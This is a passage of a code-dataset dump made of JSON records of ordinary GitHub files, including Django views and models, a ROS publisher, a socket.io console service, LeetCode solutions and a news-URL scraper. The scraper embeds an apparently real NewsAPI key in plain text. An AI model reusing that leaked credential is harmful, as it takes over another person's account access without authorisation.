test_case_2(self):\n\n\n result = Solution().jump( nums=[2,3,0,1,4])\n self.assertEqual(result, 2)\n return\n\n\nif __name__ == '__main__':\n\n unittest.main()","repo_name":"brianchiang-tw/leetcode","sub_path":"Dynamic_Programming_I/Jump Game II/by_recursion_memo.py","file_name":"by_recursion_memo.py","file_ext":"py","file_size_in_byte":1418,"program_lang":"python","lang":"en","doc_type":"code","stars":47,"dataset":"github-code","pt":"61"} +{"seq_id":"43104319489","text":"from django.db import models\nfrom hospital.models import Hospital,Department\n# Create your models here.\nclass Doctor(models.Model):\n name = models.CharField(max_length=100)\n designation = models.CharField(max_length=200)\n degree = models.CharField(max_length=1000)\n years_of_experience = models.IntegerField(default=0)\n hospital = models.ForeignKey(Hospital,on_delete=models.CASCADE)\n department = models.ForeignKey(Department,on_delete=models.CASCADE)\n picture = models.ImageField(upload_to=\"doctor/\",blank=True,default=None)\n\n\n def __str__(self):\n return f\"{self.name},{self.degree}\"\n","repo_name":"Ananya9878/Hospital","sub_path":"AD/doctor/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":617,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"25611392065","text":"#!/usr/bin/env python\nimport rospy\nfrom geometry_msgs.msg import Pose2D\nimport time\n\nxlist=[3.07, 3.41, 3.13]\nylist=[1.73, 2.72, 1.16]\ntlist=[1.83, -3.08, -1.12]\nrospy.init_node('destination_publisher', anonymous=True)\nnav_goal_publisher = rospy.Publisher('/cmd_nav', Pose2D, queue_size=10)\ntime.sleep(5)\nwhile xlist:\n pose_g_msg = Pose2D()\n pose_g_msg.x = xlist.pop()\n pose_g_msg.y = ylist.pop()\n pose_g_msg.theta = tlist.pop()\n nav_goal_publisher.publish(pose_g_msg)\n time.sleep(20)\n\n","repo_name":"Ran-Le/Delivery_Robot","sub_path":"scripts/aa274_destination_publisher.py","file_name":"aa274_destination_publisher.py","file_ext":"py","file_size_in_byte":504,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"40964930274","text":"import json\nimport gevent\nfrom functools import partial\n\nfrom socketio.namespace import BaseNamespace\nfrom socketio import socketio_manage\n\nfrom pyramid.view import view_config\n\n\nclass ConsoleNamespace(BaseNamespace):\n def listener(self, jobid):\n queue = self.request.registry['queue']\n status, console = queue.get_result(jobid)\n\n # XXX we should use a blocking redis queue\n # this code suck\n #\n # dumping the existing content\n if console is not None:\n pos = len(console)\n\n for line in console.split('\\n'):\n if line == '':\n continue\n self.emit(\"console.%s\" % jobid, line + '\\n')\n else:\n pos = 0\n\n\n status = status and status.get('msg', 'Running') or 'Running'\n\n while status == 'Running':\n status, console = queue.get_result(jobid)\n status = status and status.get('msg', 'Running') or 'Running'\n\n if console is not None:\n start = pos\n pos = len(console)\n\n console = console[start:].split('\\n')\n\n for line in console:\n if line == '':\n continue\n self.emit(\"console.%s\" % jobid, line + '\\n')\n else:\n self.emit(\"console.%s\" % jobid, '.')\n\n gevent.sleep(1.)\n\n # emit the end to reload the status.\n self.emit(\"console.%s\" % jobid, 'END.%s' % status)\n\n def on_subscribe(self, console, *args, **kwargs):\n jobid = console.split('.')[-1]\n self.spawn(partial(self.listener, jobid))\n\n\n@view_config(route_name='socket_io', renderer='string')\ndef socketio_service(request):\n retval = socketio_manage(request.environ,\n {\n '': ConsoleNamespace,\n }, request=request\n )\n\n if retval is None:\n return ''\n return retval\n","repo_name":"mozilla-services/marteau-web","sub_path":"marteauweb/socketio_service.py","file_name":"socketio_service.py","file_ext":"py","file_size_in_byte":1920,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"42784680175","text":"from django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.contrib.auth.models import AbstractUser\nfrom django.shortcuts import redirect, render\nfrom django.views.generic import ListView, CreateView, UpdateView, DeleteView, DetailView\nfrom .models import *\nfrom django.contrib.auth.mixins import PermissionRequiredMixin\nfrom .forms import *\nfrom .filters import *\nfrom rest_framework import generics\nfrom .serializers import *\n\nclass MaintenanceListView(LoginRequiredMixin, ListView):\n model = Maintenance\n template_name = 'Maintenance.html'\n\n def get_context_data(self, **kwargs):\n filter = MaintenanceFilter(self.request.GET, queryset=self.get_queryset())\n manager = self.request.user.groups.filter(name='Менеджер')\n if not manager.exists():\n this_manager = 'Не менеджер'\n else:\n this_manager = 'Менеджер'\n context = {'filter': filter, 'this_manager': this_manager}\n return context\n\n\nclass ComplaintListView(LoginRequiredMixin, ListView):\n model = Complaint\n context_object_name = 'complaint'\n template_name = 'complaint.html'\n\n def get_context_data(self, **kwargs):\n filter = ComplaintFilter(self.request.GET, queryset=self.get_queryset())\n manager = self.request.user.groups.filter(name='Менеджер')\n if not manager.exists():\n this_manage = 'Не менеджер'\n else:\n this_manage = 'Менеджер'\n context = {'filter': filter, 'this_manager': this_manage}\n return context\n\n\nclass MaintenanceCreateView(PermissionRequiredMixin, CreateView):\n permission_required = (\n 'service.add_maintenance',\n )\n template_name = 'maintenance_create.html'\n form_class = MaintenanceForm\n\n\nclass ComplaintCreateView(PermissionRequiredMixin, CreateView):\n permission_required = (\n 'service.add_complaint',\n )\n template_name = 'complaint_create.html'\n form_class = ComplaintForm\n\nclass MachineCreateView(PermissionRequiredMixin, CreateView):\n permission_required = (\n 'service.add_machine',\n )\n template_name = 'machine_create.html'\n form_class = MachineForm\n\n\nclass MaintenanceUpdateView(PermissionRequiredMixin, UpdateView):\n permission_required = ('service.change_maintenance',)\n template_name = 'maintenance_create.html'\n form_class = MaintenanceForm\n\n def get_object(self, **kwargs):\n id = self.kwargs.get('pk')\n return Maintenance.objects.get(pk=id)\n\n\nclass ComplaintUpdateView(PermissionRequiredMixin, UpdateView):\n permission_required = ('service.change_complaint',)\n template_name = 'complaint_create.html'\n form_class = ComplaintForm\n\n def get_object(self, **kwargs):\n id = self.kwargs.get('pk')\n return Complaint.objects.get(pk=id)\n\nclass MachineUpdateView(PermissionRequiredMixin, UpdateView):\n permission_required = ('service.change_machine',)\n template_name = 'machine_create.html'\n form_class = MachineForm\n\n def get_object(self, **kwargs):\n id = self.kwargs.get('pk')\n return Machine.objects.get(pk=id)\n\n\nclass MachineDeleteView(PermissionRequiredMixin, DeleteView):\n permission_required = ('service.delete_machine',)\n template_name = 'delete_machine.html'\n queryset = Machine.objects.all()\n success_url = '/user/'\n\nclass MaintenanceDeleteView(PermissionRequiredMixin, DeleteView):\n permission_required = ('service.delete_maintenance',)\n template_name = 'delete_maintenance.html'\n queryset = Maintenance.objects.all()\n success_url = '/maintenance/'\n\nclass ComplaintDeleteView(PermissionRequiredMixin, DeleteView):\n permission_required = ('service.delete_complaint',)\n template_name = 'delete_complaint.html'\n queryset = Complaint.objects.all()\n success_url = '/complaint/'\n\n\nclass SearchMachine(ListView):\n model = Machine\n template_name = 'search.html'\n context_object_name = 'machine'\n\n\n def get_queryset(self, **kwargs):\n search_query = self.request.GET.get('search', '')\n if search_query:\n machine = Machine.objects.filter(number_machine__icontains=search_query)\n if not machine.exists():\n machine = 'Не найдено'\n else:\n machine = 'Ваших данных нет в базе'\n context = machine\n return context\n\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['this_authorized'] = self.request.user.groups.exists()\n return context\n\n\ndef machine_user(request):\n this_authorized = request.user.groups.exists()\n manager = request.user.groups.filter(name='Менеджер')\n if not manager.exists():\n this_manager = 'Не менеджер'\n else:\n this_manager = 'Менеджер'\n\n\n filter = MachineFilter(request.GET)\n if this_authorized:\n if this_manager == 'Менеджер':\n machine = 0\n else:\n machine = Machine.objects.filter(client=request.user.first_name)\n if not machine.exists():\n service_list = ServiceCompany.objects.filter(name=request.user.first_name)\n if service_list.exists():\n service = ServiceCompany.objects.get(name=request.user.first_name)\n machine = Machine.objects.filter(service_company=service.id)\n else:\n machine = 'Вашей техники нет в базе. Проверьте введенные сведения.'\n context = {'machine': machine,\n 'this_authorized': this_authorized,\n 'filter': filter,\n 'this_manager': this_manager,\n }\n else:\n machine = 'Пройдите авторизацию'\n context = {'machine': machine}\n return render (request, 'user.html', context)\n\n\ndef maintenance_detail(request, maintenance_id):\n this_authorized = request.user.groups.exists()\n manager = request.user.groups.filter(name='Менеджер')\n if not manager.exists():\n this_manager = 'Не менеджер'\n else:\n this_manager = 'Менеджер'\n if this_authorized:\n maintenance = Maintenance.objects.get(pk=maintenance_id)\n machine = Machine.objects.get(number_machine=maintenance.machine_maintenance)\n service = ServiceType.objects.get(name=maintenance.service_type)\n service_company = ServiceCompany.objects.get(name=maintenance.service_company)\n context = {'maintenance': maintenance,\n 'machine': machine,\n 'this_authorized': this_authorized,\n 'service': service,\n 'service_company': service_company,\n 'this_manager': this_manager,\n }\n else:\n maintenance = 'Пройдите авторизацию'\n context = {'maintenance': maintenance}\n return render(request, 'maintenance_detail.html', context)\n\ndef complaint_detail(request, complaint_id):\n this_authorized = request.user.groups.exists()\n manager = request.user.groups.filter(name='Менеджер')\n if not manager.exists():\n this_manager = 'Не менеджер'\n else:\n this_manager = 'Менеджер'\n if this_authorized:\n complaint = Complaint.objects.get(pk=complaint_id)\n machine = Machine.objects.get(number_machine=complaint.machine_complaint)\n node = FailureNode.objects.get(name=complaint.failure_node)\n recovery = RecoveryMethod.objects.get(name=complaint.recovery_method)\n service = ServiceCompany.objects.get(name=complaint.service_company_complaint)\n context = {'complaint': complaint,\n 'machine': machine,\n 'this_authorized': this_authorized,\n 'node': node,\n 'recovery': recovery,\n 'service': service,\n 'this_manager': this_manager,\n }\n else:\n complaint = 'Пройдите авторизацию'\n context = {'complaint': complaint}\n return render(request, 'complaint_detail.html', context)\n\ndef complaint_list_machine(request, machine_id):\n this_authorized = request.user.groups.exists()\n manager = request.user.groups.filter(name='Менеджер')\n if not manager.exists():\n this_manager = 'Не менеджер'\n else:\n this_manager = 'Менеджер'\n if this_authorized:\n complaints = Complaint.objects.filter(machine_complaint=machine_id)\n machine = Machine.objects.get(pk=machine_id)\n context = {'complaints': complaints,\n 'machine': machine,\n 'this_authorized': this_authorized,\n 'this_manager': this_manager,\n }\n else:\n complaints = 'Пройдите авторизацию'\n context = {'complaints': complaints}\n return render(request, 'complaints_machine.html', context)\n\n\ndef maintenance_list_machine(request, machine_id):\n this_authorized = request.user.groups.exists()\n manager = request.user.groups.filter(name='Менеджер')\n if not manager.exists():\n this_manager = 'Не менеджер'\n else:\n this_manager = 'Менеджер'\n if this_authorized:\n maintenances = Maintenance.objects.filter(machine_maintenance=machine_id)\n machine = Machine.objects.get(pk=machine_id)\n context = {'maintenances': maintenances,\n 'machine': machine,\n 'this_authorized': this_authorized,\n 'this_manager': this_manager,\n }\n else:\n maintenances = 'Пройдите авторизацию'\n context = {'maintenances': maintenances}\n return render(request, 'maintenances_machine.html', context)\n\n\ndef machine_detail(request, machine_id):\n this_authorized = request.user.groups.exists()\n manager = request.user.groups.filter(name='Менеджер')\n if not manager.exists():\n this_manager = 'Не менеджер'\n else:\n this_manager = 'Менеджер'\n if this_authorized:\n machine = Machine.objects.get(pk=machine_id)\n technique = TechniqueModel.objects.get(name=machine.technique_model)\n engine = EngineModel.objects.get(name=machine.engine_model)\n trans = TransmissionModel.objects.get(name=machine.transmission_model)\n axle = DriveAxleModel.objects.get(name=machine.drive_axle_model)\n steering = SteeringBridgeModel.objects.get(name=machine.steering_bridge_model)\n service = ServiceCompany.objects.get(name=machine.service_company)\n context = {'machine': machine,\n 'technique': technique,\n 'this_authorized': this_authorized,\n 'engine': engine,\n 'trans': trans,\n 'axle': axle,\n 'steering': steering,\n 'service': service,\n 'this_manager': this_manager\n }\n else:\n machine = 'Пройдите авторизацию'\n context = {'machine': machine}\n return render(request, 'machine_detail.html', context)\n\n\nclass ServiceCompanyListView(PermissionRequiredMixin, ListView):\n permission_required = ('service.view_service_company')\n model = ServiceCompany\n context_object_name = 'service_company'\n template_name = 'lists/service_company_list.html'\n queryset = ServiceCompany.objects.all()\n login_url = '/'\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['filter'] = ServiceCompanyFilter(self.request.GET, queryset=self.get_queryset())\n return context\n\n\nclass TechniqueModelListView(PermissionRequiredMixin, ListView):\n permission_required = ('service.view_technique_model')\n model = TechniqueModel\n context_object_name = 'technique_model'\n template_name = 'lists/technique_model_list.html'\n queryset = TechniqueModel.objects.all()\n login_url = '/'\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['filter'] = TechniqueModelFilter(self.request.GET, queryset=self.get_queryset())\n return context\n\n\nclass EngineModelListView(PermissionRequiredMixin, ListView):\n permission_required = ('service.view_engine_model')\n model = EngineModel\n context_object_name = 'engine_model'\n template_name = 'lists/engine_model_list.html'\n queryset = EngineModel.objects.all()\n login_url = '/'\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['filter'] = EngineModelFilter(self.request.GET, queryset=self.get_queryset())\n return context\n\n\nclass TransmissionModelListView(PermissionRequiredMixin, ListView):\n permission_required = ('service.view_transmission_model')\n model = TransmissionModel\n context_object_name = 'transmission_model'\n template_name = 'lists/transmission_model_list.html'\n queryset = TransmissionModel.objects.all()\n login_url = '/'\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['filter'] = TransmissionModelFilter(self.request.GET, queryset=self.get_queryset())\n return context\n\n\nclass DriveAxleModelListView(PermissionRequiredMixin, ListView):\n permission_required = ('service.view_drive_axle_model')\n model = DriveAxleModel\n context_object_name = 'drive_axle_model'\n template_name = 'lists/drive_axle_model_list.html'\n queryset = DriveAxleModel.objects.all()\n login_url = '/'\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['filter'] = DriveAxleModelFilter(self.request.GET, queryset=self.get_queryset())\n return context\n\n\nclass SteeringBridgeModelListView(PermissionRequiredMixin, ListView):\n permission_required = ('service.view_steering_bridge_model')\n model = SteeringBridgeModel\n context_object_name = 'steering_bridge_model'\n template_name = 'lists/steering_bridge_model_list.html'\n queryset = SteeringBridgeModel.objects.all()\n login_url = '/'\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['filter'] = SteeringBridgeModelFilter(self.request.GET, queryset=self.get_queryset())\n return context\n\n\nclass ServiceTypeListView(PermissionRequiredMixin, ListView):\n permission_required = ('service.view_service_type')\n model = ServiceType\n context_object_name = 'service_type'\n template_name = 'lists/service_type_list.html'\n queryset = ServiceType.objects.all()\n login_url = '/'\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['filter'] = ServiceTypeFilter(self.request.GET, queryset=self.get_queryset())\n return context\n\n\nclass FailureNodeListView(PermissionRequiredMixin, ListView):\n permission_required = ('service.view_failure_node')\n model = FailureNode\n context_object_name = 'failure_node'\n template_name = 'lists/failure_node_list.html'\n queryset = FailureNode.objects.all()\n login_url = '/'\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['filter'] = FailureNodeFilter(self.request.GET, queryset=self.get_queryset())\n return context\n\n\nclass RecoveryMethodListView(PermissionRequiredMixin, ListView):\n permission_required = ('service.view_recovery_method')\n model = RecoveryMethod\n context_object_name = 'recovery_method'\n template_name = 'lists/recovery_method_list.html'\n queryset = RecoveryMethod.objects.all()\n login_url = '/'\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['filter'] = RecoveryMethodFilter(self.request.GET, queryset=self.get_queryset())\n return context\n\n\nclass ServiceCompanyCreateView(PermissionRequiredMixin, CreateView):\n permission_required = ('service.add_service_company')\n template_name = 'lists/create.html'\n form_class = ServiceCompanyForm\n login_url = '/'\n\n\nclass TechniqueModelCreateView(PermissionRequiredMixin, CreateView):\n permission_required = ('service.add_technique_model')\n template_name = 'lists/create.html'\n form_class = TechniqueModelForm\n login_url = '/'\n\nclass EngineModelCreateView(PermissionRequiredMixin, CreateView):\n permission_required = ('service.add_engine_model')\n template_name = 'lists/create.html'\n form_class = EngineModelForm\n login_url = '/'\n\nclass TransmissionModelCreateView(PermissionRequiredMixin, CreateView):\n permission_required = ('service.add_transmission_model')\n template_name = 'lists/create.html'\n form_class = TransmissionModelForm\n login_url = '/'\n\nclass DriveAxleModelCreateView(PermissionRequiredMixin, CreateView):\n permission_required = ('service.add_drive_axle_model')\n template_name = 'lists/create.html'\n form_class = DriveAxleModelForm\n login_url = '/'\n\nclass SteeringBridgeModelCreateView(PermissionRequiredMixin, CreateView):\n permission_required = ('service.add_steering_bridge_model')\n template_name = 'lists/create.html'\n form_class = SteeringBridgeModelForm\n login_url = '/'\n\nclass ServiceTypeCreateView(PermissionRequiredMixin, CreateView):\n permission_required = ('service.add_service_type')\n template_name = 'lists/create.html'\n form_class = ServiceTypeForm\n login_url = '/'\n\nclass FailureNodeCreateView(PermissionRequiredMixin, CreateView):\n permission_required = ('service.add_failure_node')\n template_name = 'lists/create.html'\n form_class = FailureNodeForm\n login_url = '/'\n\n\nclass RecoveryMethodCreateView(PermissionRequiredMixin, CreateView):\n permission_required = ('service.add_recovery_method')\n template_name = 'lists/create.html'\n form_class = RecoveryMethodForm\n login_url = '/'\n\n\nclass ServiceCompanyDeleteView(PermissionRequiredMixin, DeleteView):\n permission_required = ('service.delete_service_company')\n template_name = 'lists/delete_service_company.html'\n queryset = ServiceCompany.objects.all()\n success_url = '/service_company/'\n login_url = '/'\n\n\nclass TechniqueModelDeleteView(PermissionRequiredMixin, DeleteView):\n permission_required = ('service.delete_technique_model')\n template_name = 'lists/delete_technique_model.html'\n queryset = TechniqueModel.objects.all()\n success_url = '/technique_model/'\n login_url = '/'\n\n\nclass EngineModelDeleteView(PermissionRequiredMixin, DeleteView):\n permission_required = ('service.delete_engine_model')\n template_name = 'lists/delete_engine_model.html'\n queryset = EngineModel.objects.all()\n success_url = '/engine_model/'\n login_url = '/'\n\n\nclass TransmissionModelDeleteView(PermissionRequiredMixin, DeleteView):\n permission_required = ('service.delete_transmission_model')\n template_name = 'lists/delete_transmission_model.html'\n queryset = TransmissionModel.objects.all()\n success_url = '/transmission_model/'\n login_url = '/'\n\n\nclass DriveAxleModelDeleteView(PermissionRequiredMixin, DeleteView):\n permission_required = ('service.delete_drive_axle_model')\n template_name = 'lists/delete_drive_axle_model.html'\n queryset = DriveAxleModel.objects.all()\n success_url = '/drive_axle_model/'\n login_url = '/'\n\n\nclass SteeringBridgeModelDeleteView(PermissionRequiredMixin, DeleteView):\n permission_required = ('service.delete_steering_bridge_model')\n template_name = 'lists/delete_steering_bridge_model.html'\n queryset = SteeringBridgeModel.objects.all()\n success_url = '/steering_bridge_model/'\n login_url = '/'\n\n\nclass ServiceTypeDeleteView(PermissionRequiredMixin, DeleteView):\n permission_required = ('service.delete_service_type')\n template_name = 'lists/delete_service_type.html'\n queryset = ServiceType.objects.all()\n success_url = '/service_type/'\n login_url = '/'\n\n\nclass FailureNodeDeleteView(PermissionRequiredMixin, DeleteView):\n permission_required = ('service.delete_failure_node')\n template_name = 'lists/delete_failure_node.html'\n queryset = FailureNode.objects.all()\n success_url = '/failure_node/'\n login_url = '/'\n\n\nclass RecoveryMethodDeleteView(PermissionRequiredMixin, DeleteView):\n permission_required = ('service.delete_recovery_method')\n template_name = 'lists/delete_recovery_method.html'\n queryset = RecoveryMethod.objects.all()\n success_url = '/recovery_method/'\n login_url = '/'\n\n\nclass ServiceCompanyUpdateView(PermissionRequiredMixin, UpdateView):\n permission_required = ('service.change_service_company')\n template_name = 'lists/create.html'\n form_class = ServiceCompanyForm\n\n def get_object(self, **kwargs):\n id = self.kwargs.get('pk')\n return ServiceCompany.objects.get(pk=id)\n\n\nclass TechniqueModelUpdateView(PermissionRequiredMixin, UpdateView):\n permission_required = ('service.change_technique_model')\n template_name = 'lists/create.html'\n form_class = TechniqueModelForm\n\n def get_object(self, **kwargs):\n id = self.kwargs.get('pk')\n return TechniqueModel.objects.get(pk=id)\n\n\nclass EngineModelUpdateView(PermissionRequiredMixin, UpdateView):\n permission_required = ('service.change_engine_model')\n template_name = 'lists/create.html'\n form_class = EngineModelForm\n\n def get_object(self, **kwargs):\n id = self.kwargs.get('pk')\n return EngineModel.objects.get(pk=id)\n\n\nclass TransmissionModelUpdateView(PermissionRequiredMixin, UpdateView):\n permission_required = ('service.change_transmission_model')\n template_name = 'lists/create.html'\n form_class = TransmissionModelForm\n\n def get_object(self, **kwargs):\n id = self.kwargs.get('pk')\n return TransmissionModel.objects.get(pk=id)\n\n\nclass DriveAxleModelUpdateView(PermissionRequiredMixin, UpdateView):\n permission_required = ('service.change_drive_axle_model')\n template_name = 'lists/create.html'\n form_class = DriveAxleModelForm\n\n def get_object(self, **kwargs):\n id = self.kwargs.get('pk')\n return DriveAxleModel.objects.get(pk=id)\n\n\nclass SteeringBridgeModelUpdateView(PermissionRequiredMixin, UpdateView):\n permission_required = ('service.change_steering_bridge_model')\n template_name = 'lists/create.html'\n form_class = SteeringBridgeModelForm\n\n def get_object(self, **kwargs):\n id = self.kwargs.get('pk')\n return SteeringBridgeModel.objects.get(pk=id)\n\n\nclass ServiceTypeUpdateView(PermissionRequiredMixin, UpdateView):\n permission_required = ('service.change_service_type')\n template_name = 'lists/create.html'\n form_class = ServiceTypeForm\n\n def get_object(self, **kwargs):\n id = self.kwargs.get('pk')\n return ServiceType.objects.get(pk=id)\n\n\nclass FailureNodeUpdateView(PermissionRequiredMixin, UpdateView):\n permission_required = ('service.change_failure_node')\n template_name = 'lists/create.html'\n form_class = FailureNodeForm\n\n def get_object(self, **kwargs):\n id = self.kwargs.get('pk')\n return FailureNode.objects.get(pk=id)\n\n\nclass RecoveryMethodUpdateView(PermissionRequiredMixin, UpdateView):\n permission_required = ('service.change_recovery_method')\n template_name = 'lists/create.html'\n form_class = RecoveryMethodForm\n\n def get_object(self, **kwargs):\n id = self.kwargs.get('pk')\n return RecoveryMethod.objects.get(pk=id)\n\n\n\n# Реализация API\nclass MachineAPIVew(generics.ListAPIView):\n queryset = Machine.objects.all()\n serializer_class = MachineSerializer\n\n\nclass TOAPIVew(generics.ListAPIView):\n queryset = Maintenance.objects.all()\n serializer_class = MaintenanceSerializer\n\n\nclass ComplaintAPIVew(generics.ListAPIView):\n queryset = Complaint.objects.all()\n serializer_class = ComplaintSerializer","repo_name":"SeIvSe/Project_Silant","sub_path":"silant/service/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":24094,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73268161793","text":"from stock_synchronizer.core.handlers.product_handler import ProductHandler\n\nPRODUCT_HANDLER = ProductHandler()\n\n\ndef ProductCreated(**params):\n id = params.get('id')\n parent_id = params.get('parent_id')\n stock = params.get('stock')\n if any(element is None for element in (id, stock)):\n raise Exception('Incorrect event structure')\n\n PRODUCT_HANDLER.create_product(id, parent_id, stock)\n\n\ndef ProductUpdated(**params):\n id = params.get('id')\n stock = params.get('stock')\n if any(element is None for element in (id, stock)):\n raise Exception('Incorrect event structure')\n\n PRODUCT_HANDLER.update_product(id, stock)\n\n\ndef ProductEnded(**params):\n id = params.get('id')\n if id is None:\n raise Exception('Incorrect event structure')\n\n PRODUCT_HANDLER.end_product(id)\n\n\ndef Summary(**params):\n PRODUCT_HANDLER.summary()\n","repo_name":"maciejmoskala/python","sub_path":"mini_projects/stock_synchronizer/stock_synchronizer/core/rpc/product.py","file_name":"product.py","file_ext":"py","file_size_in_byte":875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34599607422","text":"money = 10000\nfor i in range(1, 21):\n import random\n score = random.randint(1, 10)\n if score < 5:\n print(f\"员工{i}绩效{score}低于5,不发工资,下一位\")\n continue\n if money >= 1000:\n money -= 1000\n print(f\"员工{i},满足条件发放工资1000元,账户余额还有:{money}元\")\n else:\n print(\"余额不足,不发了\")\n break\n\n","repo_name":"stark-bruce-lee/learning","sub_path":"第四章循环/10循环实例.py","file_name":"10循环实例.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32981811827","text":"# Given a m x n matrix, if an element is 0, set its entire row and column to 0. Do it in-place.\n#\n# Example 1:\n#\n# Input:\n# [\n# [1,1,1],\n# [1,0,1],\n# [1,1,1]\n# ]\n# Output:\n# [\n# [1,0,1],\n# [0,0,0],\n# [1,0,1]\n# ]\n# Example 2:\n#\n# Input:\n# [\n# [0,1,2,0],\n# [3,4,5,2],\n# [1,3,1,5]\n# ]\n# Output:\n# [\n# [0,0,0,0],\n# [0,4,5,0],\n# [0,3,1,0]\n# ]\n# Follow up:\n#\n# A straight forward solution using O(mn) space is probably a bad idea.\n# A simple improvement uses O(m + n) space, but still not the best solution.\n# Could you devise a constant space solution?\n\n\nclass Solution(object):\n def setZeroes(self, matrix):\n \"\"\"\n :type matrix: List[List[int]]\n :rtype: void Do not return anything, modify matrix in-place instead.\n \"\"\"\n if not matrix or not matrix[0]:\n return\n fc, fr = False, False # first col and first row\n lx, ly = len(matrix), len(matrix[0])\n for i in range(lx):\n for j in range(ly):\n if matrix[i][j] == 0:\n if i == 0:\n fr = True\n if j == 0:\n fc = True\n matrix[i][0] = 0\n matrix[0][j] = 0\n for i in range(1, lx):\n for j in range(1, ly):\n if matrix[i][0] == 0 or matrix[0][j] == 0:\n matrix[i][j] = 0\n if fr:\n for j in range(ly):\n matrix[0][j] = 0\n if fc:\n for i in range(lx):\n matrix[i][0] = 0\n","repo_name":"yshshadow/Leetcode","sub_path":"51-100/73.py","file_name":"73.py","file_ext":"py","file_size_in_byte":1555,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27350043904","text":"from django.urls import path\nfrom .views import *\n\n\nurlpatterns = [\n path('registrar_usuario/', UsuarioCreateView.as_view(), name='registrar_usuario'),\n path('login/', login_view, name='login'),\n path('logout/', logout_view, name='logout'),\n path('perfil/', perfil_view, name='view_profile'),\n]","repo_name":"Sebaberrios2097/proyecto_espacio_ideas","sub_path":"applications/usuario/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28958631757","text":"\"\"\"\nUsing NewsAPI:\nAPI Key: 798a9003a6254698ad9117441ce75124\n\"\"\"\nimport json\nimport requests\nimport csv\nimport pandas as pd\nfrom newsapi import NewsApiClient\nfrom newspaper import Article\n\n################## Helper Functions ##################\ndef read_url(url):\n\t\"\"\"\n\tRead text from url using Newspaper\n\t\"\"\"\n\tarticle = Article(url)\n\tarticle.download()\n\tarticle.parse()\n\treturn article.text\n\ndef save_urls(urls, filename):\n\t\"\"\"\n\tSave url's to csv under given filename\n\t\"\"\"\n\trows = [[url] for url in urls]\n\twith open(filename, 'w', newline='') as out_file:\n\t\twr = csv.writer(out_file)\n\t\twr.writerows(rows)\n\n################## Function ##################\n\ndef get_company_urls(company, source_list, save=False):\n\t\"\"\"\n\tGet URL's for a given company across sources in source_list\n\t\"\"\"\n\turls = set()\n\tapi = NewsApiClient(api_key='798a9003a6254698ad9117441ce75124')\n\tfor src in source_list:\n\t\tnews = api.get_everything(\n\t\t\t\t\tq=company,\n\t\t\t\t language='en',\n\t\t\t\t page_size=10,\n\t\t\t\t sort_by='popularity', # Options are popularity, relevancy, and publishedAt\n\t\t\t\t sources=src)\n\t\tarticles = news['articles']\n\t\tfor a in articles:\n\t\t\turls.add(a['url'])\n\n\t# Save URL's to file\n\tif save:\n\t\tfilename = 'urls/' + company + '_urls.csv'\n\t\tsave_urls(urls, filename)\n\n\treturn urls\n\n# NOTE: Don't use sources that need subscription. Won't be able to read article.\n\nall_sources = ['abc-news', 'al-jazeera-english', 'ars-technica', 'associated-press',\n\t\t\t\t'axios', 'bleacher-report', 'bloomberg', 'breitbart-news',\n\t\t\t\t'business-insider', 'buzzfeed', 'cbs-news', 'cnbc', 'cnn',\n\t\t\t\t'crypto-coins-news', 'engadget', 'entertainment-weekly', 'espn',\n\t\t\t\t'espn-cric-info', 'fortune', 'fox-news', 'fox-sports', 'google-news',\n\t\t\t\t'hacker-news', 'ign', 'mashable', 'medical-news-today', 'msnbc',\n\t\t\t\t'mtv-news', 'national-geographic', 'national-review', 'nbc-news',\n\t\t\t\t'new-scientist', 'newsweek', 'new-york-magazine', 'next-big-future',\n\t\t\t\t'nfl-news', 'nhl-news', 'politico', 'polygon', 'recode', 'reddit-r-all',\n\t\t\t\t'reuters', 'techcrunch', 'techradar', 'the-american-conservative',\n\t\t\t\t'the-hill', 'the-huffington-post', 'the-new-york-times', 'the-next-web',\n\t\t\t\t'the-verge', 'the-wall-street-journal', 'the-washington-post',\n\t\t\t\t'the-washington-times', 'time', 'usa-today', 'vice-news', 'wired']\n\nchosen_sources = ['cnbc', 'msnbc', 'reuters', 'the-new-york-times', 'the-washington-post', \n\t\t\t\t\t'the-washington-times', 'techcrunch', 'wired', 'the-verge',\n\t\t\t\t\t'bloomberg', 'nbc-news']\n\nsp100 = pd.read_csv('sp100.csv')\nsp100_companies = sp100['CommonName'].tolist()\n\nfirst_20 = sp100_companies[:20]\nsecond_20 = sp100_companies[20:40]\nthird_20 = sp100_companies[40:60]\nfourth_20 = sp100_companies[60:80]\nfifth_20 = sp100_companies[80:]\n\n# Collect URL's\n# First 20 done (11/8/19),\n# Second 20 done (11/9/19),\n# Third done (11/10/19 @ noon),\n# Fourth done (11/11/19 @ midnight),\n# Fifth done (11/11/19 @ noon)\n\nfor company in fifth_20:\n\tget_company_urls(company, chosen_sources, 